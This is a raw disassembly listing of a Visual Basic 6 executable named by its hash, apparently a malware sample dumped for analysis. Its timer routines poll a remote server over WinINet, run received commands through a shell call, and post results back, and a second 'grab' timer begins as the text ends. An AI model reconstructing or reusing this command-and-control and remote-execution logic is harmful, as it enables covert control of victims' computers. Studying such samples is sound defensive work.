File cftmon_3c4444c8339f2b4c04931a379daf9d041854b168e45f949515f90b124821d626.exe
Function:
    00404770
    00404770frmMain.t_cmd_Timer:
    00404770push ebp
    00404771mov ebp, esp
    00404773sub esp, 24
    00404776push 0x4014a6
    0040477bmov eax, [0x0]
    00404781push eax
    00404782mov [0x0], esp
    00404789mov eax, 244
    0040478ecall __vbaChkstk
    00404793push ebx
    00404794push esi
    00404795push edi
    00404796mov [ebp-24], esp
    00404799mov [ebp-20], 0x401258
    004047a0mov eax, [ebp+8]
    004047a3and eax, 1
    004047a6mov [ebp-16], eax
    004047a9mov ecx, [ebp+8]
    004047acand ecx, -2
    004047afmov [ebp+8], ecx
    004047b2mov [ebp-12], 0
    004047b9mov edx, [ebp+8]
    004047bcmov eax, [edx]
    004047bemov ecx, [ebp+8]
    004047c1push ecx
    004047c2call [eax+4]
    004047c5mov [ebp-4], 1
    004047ccmov [ebp-4], 2
    004047d3push -1
    004047d5call imp:msvbvm60!__vbaOnError
    004047dbmov [ebp-4], 3
    004047e2mov edx, [ebp+8]
    004047e5mov eax, [edx]
    004047e7mov ecx, [ebp+8]
    004047eapush ecx
    004047ebcall [eax+784]
    004047f1push eax
    004047f2lea edx, [ebp-108]
    004047f5push edx
    004047f6call imp:msvbvm60!__vbaObjSet
    004047fcmov [ebp-212], eax
    00404802lea eax, [ebp-84]
    00404805push eax
    00404806mov ecx, [ebp-212]
    0040480cmov edx, [ecx]
    0040480emov eax, [ebp-212]
    00404814push eax
    00404815call [edx+80]
    00404818fnclex
    0040481amov [ebp-216], eax
    00404820cmp [ebp-216], 0
    00404827jge 0x40484c
    00404829push 80
    0040482bpush 0x403124
    00404830mov ecx, [ebp-212]
    00404836push ecx
    00404837mov edx, [ebp-216]
    0040483dpush edx
    0040483ecall imp:msvbvm60!__vbaHresultCheckObj
    00404844mov [ebp-256], eax
    0040484ajmp 0x404856
    0040484c
    0040484cloc_40484c:
    0040484cmov [ebp-256], 0
    00404856
    00404856loc_404856:
    00404856mov eax, [ebp-84]
    00404859push eax
    0040485acall imp:msvbvm60!__vbaR8Str
    00404860fcomp [0x401310]
    00404866fnstsw ax
    00404868test ah, 64
    0040486bje 0x404879
    0040486dmov [ebp-260], 1
    00404877jmp 0x404883
    00404879
    00404879loc_404879:
    00404879mov [ebp-260], 0
    00404883
    00404883loc_404883:
    00404883mov ecx, [ebp-260]
    00404889neg ecx
    0040488bmov [ebp-220], cx
    00404892lea ecx, [ebp-84]
    00404895call imp:msvbvm60!__vbaFreeStr
    0040489blea ecx, [ebp-108]
    0040489ecall imp:msvbvm60!__vbaFreeObj
    004048a4movsx edx, [ebp-220]
    004048abtest edx, edx
    004048adje 0x40525e
    004048b3mov [ebp-4], 4
    004048bamov eax, [ebp+8]
    004048bdmov ecx, [eax]
    004048bfmov edx, [ebp+8]
    004048c2push edx
    004048c3call [ecx+784]
    004048c9push eax
    004048calea eax, [ebp-108]
    004048cdpush eax
    004048cecall imp:msvbvm60!__vbaObjSet
    004048d4mov [ebp-212], eax
    004048dapush 0
    004048dccall imp:msvbvm60!__vbaStrI2
    004048e2mov edx, eax
    004048e4lea ecx, [ebp-84]
    004048e7call imp:msvbvm60!__vbaStrMove
    004048edpush eax
    004048eemov ecx, [ebp-212]
    004048f4mov edx, [ecx]
    004048f6mov eax, [ebp-212]
    004048fcpush eax
    004048fdcall [edx+84]
    00404900fnclex
    00404902mov [ebp-216], eax
    00404908cmp [ebp-216], 0
    0040490fjge 0x404934
    00404911push 84
    00404913push 0x403124
    00404918mov ecx, [ebp-212]
    0040491epush ecx
    0040491fmov edx, [ebp-216]
    00404925push edx
    00404926call imp:msvbvm60!__vbaHresultCheckObj
    0040492cmov [ebp-264], eax
    00404932jmp 0x40493e
    00404934
    00404934loc_404934:
    00404934mov [ebp-264], 0
    0040493e
    0040493eloc_40493e:
    0040493elea ecx, [ebp-84]
    00404941call imp:msvbvm60!__vbaFreeStr
    00404947lea ecx, [ebp-108]
    0040494acall imp:msvbvm60!__vbaFreeObj
    00404950mov [ebp-4], 5
    00404957push 0
    00404959push 0
    0040495bpush 0
    0040495dpush 0
    0040495fpush 0x40268c
    00404964lea eax, [ebp-84]
    00404967push eax
    00404968call imp:msvbvm60!__vbaStrToAnsi
    0040496epush eax
    0040496fcall InternetOpenA
    00404974mov [ebp-200], eax
    0040497acall imp:msvbvm60!__vbaSetSystemError
    00404980mov ecx, [ebp-200]
    00404986mov [ebp-64], ecx
    00404989lea ecx, [ebp-84]
    0040498ccall imp:msvbvm60!__vbaFreeStr
    00404992mov [ebp-4], 6
    00404999push 0
    0040499bpush 0xffffffff80000000
    004049a0push 0
    004049a2push 0
    004049a4push 0x403138
    004049a9push 0x402658
    004049aecall imp:msvbvm60!__vbaStrCat
    004049b4mov edx, eax
    004049b6lea ecx, [ebp-84]
    004049b9call imp:msvbvm60!__vbaStrMove
    004049bfpush eax
    004049c0push 0x40314c
    004049c5call imp:msvbvm60!__vbaStrCat
    004049cbmov edx, eax
    004049cdlea ecx, [ebp-88]
    004049d0call imp:msvbvm60!__vbaStrMove
    004049d6push eax
    004049d7mov edx, [ebp+8]
    004049damov eax, [edx+56]
    004049ddpush eax
    004049decall imp:msvbvm60!__vbaStrCat
    004049e4mov edx, eax
    004049e6lea ecx, [ebp-92]
    004049e9call imp:msvbvm60!__vbaStrMove
    004049efpush eax
    004049f0push 0x403154
    004049f5call imp:msvbvm60!__vbaStrCat
    004049fbmov edx, eax
    004049fdlea ecx, [ebp-96]
    00404a00call imp:msvbvm60!__vbaStrMove
    00404a06push eax
    00404a07lea ecx, [ebp-100]
    00404a0apush ecx
    00404a0bcall imp:msvbvm60!__vbaStrToAnsi
    00404a11push eax
    00404a12mov edx, [ebp-64]
    00404a15push edx
    00404a16call InternetOpenUrlA
    00404a1bmov [ebp-200], eax
    00404a21call imp:msvbvm60!__vbaSetSystemError
    00404a27mov eax, [ebp-200]
    00404a2dmov [ebp-60], eax
    00404a30lea ecx, [ebp-100]
    00404a33push ecx
    00404a34lea edx, [ebp-96]
    00404a37push edx
    00404a38lea eax, [ebp-92]
    00404a3bpush eax
    00404a3clea ecx, [ebp-88]
    00404a3fpush ecx
    00404a40lea edx, [ebp-84]
    00404a43push edx
    00404a44push 5
    00404a46call imp:msvbvm60!__vbaFreeStrList
    00404a4cadd esp, 24
    00404a4fmov [ebp-4], 7
    00404a56push 1000
    00404a5blea eax, [ebp-128]
    00404a5epush eax
    00404a5fcall imp:msvbvm60!rtcSpaceVar
    00404a65lea ecx, [ebp-128]
    00404a68push ecx
    00404a69call imp:msvbvm60!__vbaStrVarMove
    00404a6fmov edx, eax
    00404a71lea ecx, [ebp-68]
    00404a74call imp:msvbvm60!__vbaStrMove
    00404a7alea ecx, [ebp-128]
    00404a7dcall imp:msvbvm60!__vbaFreeVar
    00404a83mov [ebp-4], 8
    00404a8alea edx, [ebp-48]
    00404a8dpush edx
    00404a8epush 1000
    00404a93mov eax, [ebp-68]
    00404a96push eax
    00404a97lea ecx, [ebp-84]
    00404a9apush ecx
    00404a9bcall imp:msvbvm60!__vbaStrToAnsi
    00404aa1push eax
    00404aa2mov edx, [ebp-60]
    00404aa5push edx
    00404aa6call InternetReadFile
    00404aabmov [ebp-196], ax
    00404ab2call imp:msvbvm60!__vbaSetSystemError
    00404ab8mov eax, [ebp-84]
    00404abbpush eax
    00404abclea ecx, [ebp-68]
    00404abfpush ecx
    00404ac0call imp:msvbvm60!__vbaStrToUnicode
    00404ac6movsx edx, [ebp-196]
    00404acdmov [ebp-52], edx
    00404ad0lea ecx, [ebp-84]
    00404ad3call imp:msvbvm60!__vbaFreeStr
    00404ad9mov [ebp-4], 9
    00404ae0mov [ebp-120], 4
    00404ae7mov [ebp-128], 2
    00404aeelea eax, [ebp-68]
    00404af1mov [ebp-168], eax
    00404af7mov [ebp-176], 16392
    00404b01lea ecx, [ebp-128]
    00404b04push ecx
    00404b05push 1
    00404b07lea edx, [ebp-176]
    00404b0dpush edx
    00404b0elea eax, [ebp-144]
    00404b14push eax
    00404b15call imp:msvbvm60!rtcMidCharVar
    00404b1blea ecx, [ebp-144]
    00404b21push ecx
    00404b22call imp:msvbvm60!__vbaStrVarMove
    00404b28mov edx, eax
    00404b2alea ecx, [ebp-36]
    00404b2dcall imp:msvbvm60!__vbaStrMove
    00404b33lea edx, [ebp-144]
    00404b39push edx
    00404b3alea eax, [ebp-128]
    00404b3dpush eax
    00404b3epush 2
    00404b40call imp:msvbvm60!__vbaFreeVarList
    00404b46add esp, 12
    00404b49mov [ebp-4], 10
    00404b50lea ecx, [ebp-68]
    00404b53mov [ebp-168], ecx
    00404b59mov [ebp-176], 16392
    00404b63lea edx, [ebp-176]
    00404b69push edx
    00404b6alea eax, [ebp-128]
    00404b6dpush eax
    00404b6ecall imp:msvbvm60!rtcTrimVar
    00404b74mov ecx, [ebp-68]
    00404b77push ecx
    00404b78call imp:msvbvm60!__vbaLenBstr
    00404b7emov [ebp-136], eax
    00404b84mov [ebp-144], 3
    00404b8elea edx, [ebp-144]
    00404b94push edx
    00404b95push 5
    00404b97lea eax, [ebp-128]
    00404b9apush eax
    00404b9blea ecx, [ebp-160]
    00404ba1push ecx
    00404ba2call imp:msvbvm60!rtcMidCharVar
    00404ba8lea edx, [ebp-160]
    00404baepush edx
    00404bafcall imp:msvbvm60!__vbaStrVarMove
    00404bb5mov edx, eax
    00404bb7lea ecx, [ebp-56]
    00404bbacall imp:msvbvm60!__vbaStrMove
    00404bc0lea eax, [ebp-160]
    00404bc6push eax
    00404bc7lea ecx, [ebp-144]
    00404bcdpush ecx
    00404bcelea edx, [ebp-128]
    00404bd1push edx
    00404bd2push 3
    00404bd4call imp:msvbvm60!__vbaFreeVarList
    00404bdaadd esp, 16
    00404bddmov [ebp-4], 11
    00404be4mov eax, [ebp-72]
    00404be7push eax
    00404be8call InternetCloseHandle
    00404bedcall imp:msvbvm60!__vbaSetSystemError
    00404bf3mov [ebp-4], 12
    00404bfamov ecx, [ebp-64]
    00404bfdpush ecx
    00404bfecall InternetCloseHandle
    00404c03call imp:msvbvm60!__vbaSetSystemError
    00404c09mov [ebp-4], 13
    00404c10mov edx, [ebp-60]
    00404c13push edx
    00404c14call InternetCloseHandle
    00404c19call imp:msvbvm60!__vbaSetSystemError
    00404c1fmov [ebp-4], 14
    00404c26mov edx, [ebp-36]
    00404c29lea ecx, [ebp-228]
    00404c2fcall imp:msvbvm60!__vbaStrCopy
    00404c35mov [ebp-4], 15
    00404c3cmov eax, [ebp-228]
    00404c42push eax
    00404c43push 0x403164
    00404c48call imp:msvbvm60!__vbaStrCmp
    00404c4etest eax, eax
    00404c50jne 0x404ee8
    00404c56mov [ebp-4], 16
    00404c5dmov ecx, [ebp-56]
    00404c60push ecx
    00404c61call imp:msvbvm60!__vbaLenBstr
    00404c67sub eax, 1
    00404c6ajo 0x405453
    00404c70mov [ebp-120], eax
    00404c73mov [ebp-128], 3
    00404c7alea edx, [ebp-56]
    00404c7dmov [ebp-168], edx
    00404c83mov [ebp-176], 16392
    00404c8dlea eax, [ebp-128]
    00404c90push eax
    00404c91push 1
    00404c93lea ecx, [ebp-176]
    00404c99push ecx
    00404c9alea edx, [ebp-144]
    00404ca0push edx
    00404ca1call imp:msvbvm60!rtcMidCharVar
    00404ca7lea eax, [ebp-144]
    00404cadpush eax
    00404caecall imp:msvbvm60!__vbaStrVarMove
    00404cb4mov edx, eax
    00404cb6lea ecx, [ebp-56]
    00404cb9call imp:msvbvm60!__vbaStrMove
    00404cbflea ecx, [ebp-144]
    00404cc5push ecx
    00404cc6lea edx, [ebp-128]
    00404cc9push edx
    00404ccapush 2
    00404ccccall imp:msvbvm60!__vbaFreeVarList
    00404cd2add esp, 12
    00404cd5mov [ebp-4], 17
    00404cdclea eax, [ebp-56]
    00404cdfmov [ebp-168], eax
    00404ce5mov [ebp-176], 16392
    00404cefpush 0
    00404cf1lea ecx, [ebp-176]
    00404cf7push ecx
    00404cf8call imp:msvbvm60!rtcShell
    00404cfefstp [ebp-208]
    00404d04mov [ebp-4], 18
    00404d0bpush 0
    00404d0dpush 0
    00404d0fpush 0
    00404d11push 0
    00404d13push 0x40268c
    00404d18lea edx, [ebp-84]
    00404d1bpush edx
    00404d1ccall imp:msvbvm60!__vbaStrToAnsi
    00404d22push eax
    00404d23call InternetOpenA
    00404d28mov [ebp-200], eax
    00404d2ecall imp:msvbvm60!__vbaSetSystemError
    00404d34mov eax, [ebp-200]
    00404d3amov [ebp-64], eax
    00404d3dlea ecx, [ebp-84]
    00404d40call imp:msvbvm60!__vbaFreeStr
    00404d46mov [ebp-4], 19
    00404d4dpush 0
    00404d4fpush 0
    00404d51push 3
    00404d53push 0x403174
    00404d58lea ecx, [ebp-92]
    00404d5bpush ecx
    00404d5ccall imp:msvbvm60!__vbaStrToAnsi
    00404d62push eax
    00404d63push 0x403174
    00404d68lea edx, [ebp-88]
    00404d6bpush edx
    00404d6ccall imp:msvbvm60!__vbaStrToAnsi
    00404d72push eax
    00404d73push 80
    00404d75push 0x402658
    00404d7alea eax, [ebp-84]
    00404d7dpush eax
    00404d7ecall imp:msvbvm60!__vbaStrToAnsi
    00404d84push eax
    00404d85mov ecx, [ebp-64]
    00404d88push ecx
    00404d89call InternetConnectA
    00404d8emov [ebp-200], eax
    00404d94call imp:msvbvm60!__vbaSetSystemError
    00404d9amov edx, [ebp-200]
    00404da0mov [ebp-60], edx
    00404da3lea eax, [ebp-92]
    00404da6push eax
    00404da7lea ecx, [ebp-88]
    00404daapush ecx
    00404dablea edx, [ebp-84]
    00404daepush edx
    00404dafpush 3
    00404db1call imp:msvbvm60!__vbaFreeStrList
    00404db7add esp, 16
    00404dbamov [ebp-4], 20
    00404dc1push 0
    00404dc3push 0xffffffff80000000
    00404dc8push 0
    00404dcapush 0
    00404dccpush 0x402f00
    00404dd1lea eax, [ebp-104]
    00404dd4push eax
    00404dd5call imp:msvbvm60!__vbaStrToAnsi
    00404ddbpush eax
    00404ddcpush 0x403188
    00404de1push 0x4031b0
    00404de6call imp:msvbvm60!__vbaStrCat
    00404decmov edx, eax
    00404deelea ecx, [ebp-84]
    00404df1call imp:msvbvm60!__vbaStrMove
    00404df7push eax
    00404df8mov ecx, [ebp+8]
    00404dfbmov edx, [ecx+56]
    00404dfepush edx
    00404dffcall imp:msvbvm60!__vbaStrCat
    00404e05mov edx, eax
    00404e07lea ecx, [ebp-88]
    00404e0acall imp:msvbvm60!__vbaStrMove
    00404e10push eax
    00404e11push 0x403154
    00404e16call imp:msvbvm60!__vbaStrCat
    00404e1cmov edx, eax
    00404e1elea ecx, [ebp-96]
    00404e21call imp:msvbvm60!__vbaStrMove
    00404e27push eax
    00404e28lea eax, [ebp-100]
    00404e2bpush eax
    00404e2ccall imp:msvbvm60!__vbaStrToAnsi
    00404e32push eax
    00404e33push 0x40317c
    00404e38lea ecx, [ebp-92]
    00404e3bpush ecx
    00404e3ccall imp:msvbvm60!__vbaStrToAnsi
    00404e42push eax
    00404e43mov edx, [ebp-60]
    00404e46push edx
    00404e47call HttpOpenRequestA
    00404e4cmov [ebp-200], eax
    00404e52call imp:msvbvm60!__vbaSetSystemError
    00404e58mov eax, [ebp-200]
    00404e5emov [ebp-72], eax
    00404e61lea ecx, [ebp-104]
    00404e64push ecx
    00404e65lea edx, [ebp-100]
    00404e68push edx
    00404e69lea eax, [ebp-96]
    00404e6cpush eax
    00404e6dlea ecx, [ebp-92]
    00404e70push ecx
    00404e71lea edx, [ebp-88]
    00404e74push edx
    00404e75lea eax, [ebp-84]
    00404e78push eax
    00404e79push 6
    00404e7bcall imp:msvbvm60!__vbaFreeStrList
    00404e81add esp, 28
    00404e84mov [ebp-4], 21
    00404e8bpush 0
    00404e8dpush 0
    00404e8fcall imp:msvbvm60!__vbaStrI2
    00404e95mov edx, eax
    00404e97lea ecx, [ebp-84]
    00404e9acall imp:msvbvm60!__vbaStrMove
    00404ea0push eax
    00404ea1lea ecx, [ebp-88]
    00404ea4push ecx
    00404ea5call imp:msvbvm60!__vbaStrToAnsi
    00404eabpush eax
    00404eacpush 0
    00404eaepush 0
    00404eb0mov edx, [ebp-72]
    00404eb3push edx
    00404eb4call HttpSendRequestA
    00404eb9mov [ebp-196], ax
    00404ec0call imp:msvbvm60!__vbaSetSystemError
    00404ec6movsx eax, [ebp-196]
    00404ecdmov [ebp-52], eax
    00404ed0lea ecx, [ebp-88]
    00404ed3push ecx
    00404ed4lea edx, [ebp-84]
    00404ed7push edx
    00404ed8push 2
    00404edacall imp:msvbvm60!__vbaFreeStrList
    00404ee0add esp, 12
    00404ee3jmp 0x405217
    00404ee8
    00404ee8loc_404ee8:
    00404ee8mov [ebp-4], 22
    00404eefmov eax, [ebp-228]
    00404ef5push eax
    00404ef6push 0x4031c4
    00404efbcall imp:msvbvm60!__vbaStrCmp
    00404f01test eax, eax
    00404f03jne 0x405217
    00404f09mov [ebp-4], 23
    00404f10mov ecx, [ebp-56]
    00404f13push ecx
    00404f14call imp:msvbvm60!__vbaLenBstr
    00404f1asub eax, 1
    00404f1djo 0x405453
    00404f23mov [ebp-120], eax
    00404f26mov [ebp-128], 3
    00404f2dlea edx, [ebp-56]
    00404f30mov [ebp-168], edx
    00404f36mov [ebp-176], 16392
    00404f40lea eax, [ebp-128]
    00404f43push eax
    00404f44push 1
    00404f46lea ecx, [ebp-176]
    00404f4cpush ecx
    00404f4dlea edx, [ebp-144]
    00404f53push edx
    00404f54call imp:msvbvm60!rtcMidCharVar
    00404f5alea eax, [ebp-144]
    00404f60push eax
    00404f61call imp:msvbvm60!__vbaStrVarMove
    00404f67mov edx, eax
    00404f69lea ecx, [ebp-56]
    00404f6ccall imp:msvbvm60!__vbaStrMove
    00404f72lea ecx, [ebp-144]
    00404f78push ecx
    00404f79lea edx, [ebp-128]
    00404f7cpush edx
    00404f7dpush 2
    00404f7fcall imp:msvbvm60!__vbaFreeVarList
    00404f85add esp, 12
    00404f88mov [ebp-4], 24
    00404f8fmov edx, 0x4031d4
    00404f94lea ecx, [ebp-88]
    00404f97call imp:msvbvm60!__vbaStrCopy
    00404f9dmov edx, 0x402658
    00404fa2lea ecx, [ebp-84]
    00404fa5call imp:msvbvm60!__vbaStrCopy
    00404fablea eax, [ebp-92]
    00404faepush eax
    00404faflea ecx, [ebp-56]
    00404fb2push ecx
    00404fb3lea edx, [ebp-88]
    00404fb6push edx
    00404fb7lea eax, [ebp-84]
    00404fbapush eax
    00404fbbmov ecx, [ebp+8]
    00404fbemov edx, [ecx]
    00404fc0mov eax, [ebp+8]
    00404fc3push eax
    00404fc4call [edx+1784]
    00404fcamov [ebp-212], eax
    00404fd0cmp [ebp-212], 0
    00404fd7jge 0x404ffc
    00404fd9push 1784
    00404fdepush 0x402754
    00404fe3mov ecx, [ebp+8]
    00404fe6push ecx
    00404fe7mov edx, [ebp-212]
    00404fedpush edx
    00404feecall imp:msvbvm60!__vbaHresultCheckObj
    00404ff4mov [ebp-268], eax
    00404ffajmp 0x405006
    00404ffc
    00404ffcloc_404ffc:
    00404ffcmov [ebp-268], 0
    00405006
    00405006loc_405006:
    00405006mov eax, [ebp-92]
    00405009mov [ebp-252], eax
    0040500fmov [ebp-92], 0
    00405016mov edx, [ebp-252]
    0040501clea ecx, [ebp-68]
    0040501fcall imp:msvbvm60!__vbaStrMove
    00405025lea ecx, [ebp-88]
    00405028push ecx
    00405029lea edx, [ebp-84]
    0040502cpush edx
    0040502dpush 2
    0040502fcall imp:msvbvm60!__vbaFreeStrList
    00405035add esp, 12
    00405038mov [ebp-4], 25
    0040503fpush 0
    00405041push 0
    00405043push 0
    00405045push 0
    00405047push 0x40268c
    0040504clea eax, [ebp-84]
    0040504fpush eax
    00405050call imp:msvbvm60!__vbaStrToAnsi
    00405056push eax
    00405057call InternetOpenA
    0040505cmov [ebp-200], eax
    00405062call imp:msvbvm60!__vbaSetSystemError
    00405068mov ecx, [ebp-200]
    0040506emov [ebp-64], ecx
    00405071lea ecx, [ebp-84]
    00405074call imp:msvbvm60!__vbaFreeStr
    0040507amov [ebp-4], 26
    00405081push 0
    00405083push 0
    00405085push 3
    00405087push 0x403174
    0040508clea edx, [ebp-92]
    0040508fpush edx
    00405090call imp:msvbvm60!__vbaStrToAnsi
    00405096push eax
    00405097push 0x403174
    0040509clea eax, [ebp-88]
    0040509fpush eax
    004050a0call imp:msvbvm60!__vbaStrToAnsi
    004050a6push eax
    004050a7push 80
    004050a9push 0x402658
    004050aelea ecx, [ebp-84]
    004050b1push ecx
    004050b2call imp:msvbvm60!__vbaStrToAnsi
    004050b8push eax
    004050b9mov edx, [ebp-64]
    004050bcpush edx
    004050bdcall InternetConnectA
    004050c2mov [ebp-200], eax
    004050c8call imp:msvbvm60!__vbaSetSystemError
    004050cemov eax, [ebp-200]
    004050d4mov [ebp-60], eax
    004050d7lea ecx, [ebp-92]
    004050dapush ecx
    004050dblea edx, [ebp-88]
    004050depush edx
    004050dflea eax, [ebp-84]
    004050e2push eax
    004050e3push 3
    004050e5call imp:msvbvm60!__vbaFreeStrList
    004050ebadd esp, 16
    004050eemov [ebp-4], 27
    004050f5push 0
    004050f7push 0xffffffff80000000
    004050fcpush 0
    004050fepush 0
    00405100push 0x402f00
    00405105lea ecx, [ebp-104]
    00405108push ecx
    00405109call imp:msvbvm60!__vbaStrToAnsi
    0040510fpush eax
    00405110push 0x403188
    00405115push 0x4031b0
    0040511acall imp:msvbvm60!__vbaStrCat
    00405120mov edx, eax
    00405122lea ecx, [ebp-84]
    00405125call imp:msvbvm60!__vbaStrMove
    0040512bpush eax
    0040512cmov edx, [ebp+8]
    0040512fmov eax, [edx+56]
    00405132push eax
    00405133call imp:msvbvm60!__vbaStrCat
    00405139mov edx, eax
    0040513blea ecx, [ebp-88]
    0040513ecall imp:msvbvm60!__vbaStrMove
    00405144push eax
    00405145push 0x403154
    0040514acall imp:msvbvm60!__vbaStrCat
    00405150mov edx, eax
    00405152lea ecx, [ebp-96]
    00405155call imp:msvbvm60!__vbaStrMove
    0040515bpush eax
    0040515clea ecx, [ebp-100]
    0040515fpush ecx
    00405160call imp:msvbvm60!__vbaStrToAnsi
    00405166push eax
    00405167push 0x40317c
    0040516clea edx, [ebp-92]
    0040516fpush edx
    00405170call imp:msvbvm60!__vbaStrToAnsi
    00405176push eax
    00405177mov eax, [ebp-60]
    0040517apush eax
    0040517bcall HttpOpenRequestA
    00405180mov [ebp-200], eax
    00405186call imp:msvbvm60!__vbaSetSystemError
    0040518cmov ecx, [ebp-200]
    00405192mov [ebp-72], ecx
    00405195lea edx, [ebp-104]
    00405198push edx
    00405199lea eax, [ebp-100]
    0040519cpush eax
    0040519dlea ecx, [ebp-96]
    004051a0push ecx
    004051a1lea edx, [ebp-92]
    004051a4push edx
    004051a5lea eax, [ebp-88]
    004051a8push eax
    004051a9lea ecx, [ebp-84]
    004051acpush ecx
    004051adpush 6
    004051afcall imp:msvbvm60!__vbaFreeStrList
    004051b5add esp, 28
    004051b8mov [ebp-4], 28
    004051bfpush 0
    004051c1push 0
    004051c3call imp:msvbvm60!__vbaStrI2
    004051c9mov edx, eax
    004051cblea ecx, [ebp-84]
    004051cecall imp:msvbvm60!__vbaStrMove
    004051d4push eax
    004051d5lea edx, [ebp-88]
    004051d8push edx
    004051d9call imp:msvbvm60!__vbaStrToAnsi
    004051dfpush eax
    004051e0push 0
    004051e2push 0
    004051e4mov eax, [ebp-72]
    004051e7push eax
    004051e8call HttpSendRequestA
    004051edmov [ebp-196], ax
    004051f4call imp:msvbvm60!__vbaSetSystemError
    004051famovsx ecx, [ebp-196]
    00405201mov [ebp-52], ecx
    00405204lea edx, [ebp-88]
    00405207push edx
    00405208lea eax, [ebp-84]
    0040520bpush eax
    0040520cpush 2
    0040520ecall imp:msvbvm60!__vbaFreeStrList
    00405214add esp, 12
    00405217
    00405217loc_405217:
    00405217mov [ebp-4], 30
    0040521emov ecx, [ebp-72]
    00405221push ecx
    00405222call InternetCloseHandle
    00405227call imp:msvbvm60!__vbaSetSystemError
    0040522dmov [ebp-4], 31
    00405234mov edx, [ebp-64]
    00405237push edx
    00405238call InternetCloseHandle
    0040523dcall imp:msvbvm60!__vbaSetSystemError
    00405243mov [ebp-4], 32
    0040524amov eax, [ebp-60]
    0040524dpush eax
    0040524ecall InternetCloseHandle
    00405253call imp:msvbvm60!__vbaSetSystemError
    00405259jmp 0x4053a1
    0040525e
    0040525eloc_40525e:
    0040525emov [ebp-4], 34
    00405265mov ecx, [ebp+8]
    00405268mov edx, [ecx]
    0040526amov eax, [ebp+8]
    0040526dpush eax
    0040526ecall [edx+784]
    00405274push eax
    00405275lea ecx, [ebp-112]
    00405278push ecx
    00405279call imp:msvbvm60!__vbaObjSet
    0040527fmov [ebp-220], eax
    00405285mov edx, [ebp+8]
    00405288mov eax, [edx]
    0040528amov ecx, [ebp+8]
    0040528dpush ecx
    0040528ecall [eax+784]
    00405294push eax
    00405295lea edx, [ebp-108]
    00405298push edx
    00405299call imp:msvbvm60!__vbaObjSet
    0040529fmov [ebp-212], eax
    004052a5lea eax, [ebp-84]
    004052a8push eax
    004052a9mov ecx, [ebp-212]
    004052afmov edx, [ecx]
    004052b1mov eax, [ebp-212]
    004052b7push eax
    004052b8call [edx+80]
    004052bbfnclex
    004052bdmov [ebp-216], eax
    004052c3cmp [ebp-216], 0
    004052cajge 0x4052ef
    004052ccpush 80
    004052cepush 0x403124
    004052d3mov ecx, [ebp-212]
    004052d9push ecx
    004052damov edx, [ebp-216]
    004052e0push edx
    004052e1call imp:msvbvm60!__vbaHresultCheckObj
    004052e7mov [ebp-272], eax
    004052edjmp 0x4052f9
    004052ef
    004052efloc_4052ef:
    004052efmov [ebp-272], 0
    004052f9
    004052f9loc_4052f9:
    004052f9mov eax, [ebp-84]
    004052fcpush eax
    004052fdcall imp:msvbvm60!rtcR8ValFromBstr
    00405303fadd [0x401308]
    00405309fnstsw ax
    0040530btest al, 13
    0040530djne 0x40544e
    00405313sub esp, 8
    00405316fstp [esp]
    00405319call imp:msvbvm60!__vbaStrR8
    0040531fmov edx, eax
    00405321lea ecx, [ebp-88]
    00405324call imp:msvbvm60!__vbaStrMove
    0040532apush eax
    0040532bmov ecx, [ebp-220]
    00405331mov edx, [ecx]
    00405333mov eax, [ebp-220]
    00405339push eax
    0040533acall [edx+84]
    0040533dfnclex
    0040533fmov [ebp-224], eax
    00405345cmp [ebp-224], 0
    0040534cjge 0x405371
    0040534epush 84
    00405350push 0x403124
    00405355mov ecx, [ebp-220]
    0040535bpush ecx
    0040535cmov edx, [ebp-224]
    00405362push edx
    00405363call imp:msvbvm60!__vbaHresultCheckObj
    00405369mov [ebp-276], eax
    0040536fjmp 0x40537b
    00405371
    00405371loc_405371:
    00405371mov [ebp-276], 0
    0040537b
    0040537bloc_40537b:
    0040537blea eax, [ebp-88]
    0040537epush eax
    0040537flea ecx, [ebp-84]
    00405382push ecx
    00405383push 2
    00405385call imp:msvbvm60!__vbaFreeStrList
    0040538badd esp, 12
    0040538elea edx, [ebp-112]
    00405391push edx
    00405392lea eax, [ebp-108]
    00405395push eax
    00405396push 2
    00405398call imp:msvbvm60!__vbaFreeObjList
    0040539eadd esp, 12
    004053a1
    004053a1loc_4053a1:
    004053a1mov [ebp-16], 0
    004053a8wait
    004053a9push 0x40542c
    004053aejmp 0x405404
    004053b0
    004053b0 8d 4d 98 51 8d 55 9c 52 8d 45 a0 50 8d 4d a4 51 .M.Q.U.R.E.P.M.Q
    004053c0 8d 55 a8 52 8d 45 ac 50 6a 06 ff 15 08 11 40 00 .U.R.E.Pj.....@.
    004053d0 83 c4 1c 8d 4d 90 51 8d 55 94 52 6a 02 ff 15 20 ....M.Q.U.Rj...
    004053e0 10 40 00 83 c4 0c 8d 85 60 ff ff ff 50 8d 8d 70 .@......`...P..p
    004053f0 ff ff ff 51 8d 55 80 52 6a 03 ff 15 18 10 40 00 ...Q.U.Rj.....@.
    00405400 83 c4 10 c3 ....
    00405404
    00405404loc_405404:
    00405404lea ecx, [ebp-228]
    0040540acall imp:msvbvm60!__vbaFreeStr
    00405410lea ecx, [ebp-36]
    00405413call imp:msvbvm60!__vbaFreeStr
    00405419lea ecx, [ebp-56]
    0040541ccall imp:msvbvm60!__vbaFreeStr
    00405422lea ecx, [ebp-68]
    00405425call imp:msvbvm60!__vbaFreeStr
    0040542bret
    0040542cmov eax, [ebp+8]
    0040542fmov ecx, [eax]
    00405431mov edx, [ebp+8]
    00405434push edx
    00405435call [ecx+8]
    00405438mov eax, [ebp-16]
    0040543bmov ecx, [ebp-32]
    0040543emov [0x0], ecx
    00405445pop edi
    00405446pop esi
    00405447pop ebx
    00405448mov esp, ebp
    0040544apop ebp
    0040544bret 4
    0040544e
    0040544eloc_40544e:
    0040544ejmp 0x4014ac
    00405453
    00405453loc_405453:
    00405453call imp:msvbvm60!__vbaErrorOverflow
    00405459
    00405459 cc cc cc cc cc cc cc .......
    00404770
    00405460
    00405460frmMain.t_grab_Timer:
    00405460push ebp
    00405461mov ebp, esp
    00405463sub esp, 24
    00405466push 0x4014a6
    0040546bmov eax, [0x0]
    00405471push eax
    00405472mov [0x0], esp
    00405479mov eax, 388
    0040547ecall __vbaChkstk
    00405483push ebx
    00405484push esi
    00405485push edi
    00405486mov [ebp-24], esp
    00405489mov [ebp-20], 0x401318
    00405490mov eax, [ebp+8]
    00405493and eax, 1
    00405496mov [ebp-16], eax
    00405499mov ecx, [ebp+8]
    0040549cand ecx, -2
    0040549fmov [ebp+8], ecx
    004054a2mov [ebp-12], 0
    004054a9mov edx, [ebp+8]
    004054acmov eax, [edx]
    004054aemov ecx, [ebp+8]
    004054b1push ecx
    004054b2call [eax+4]
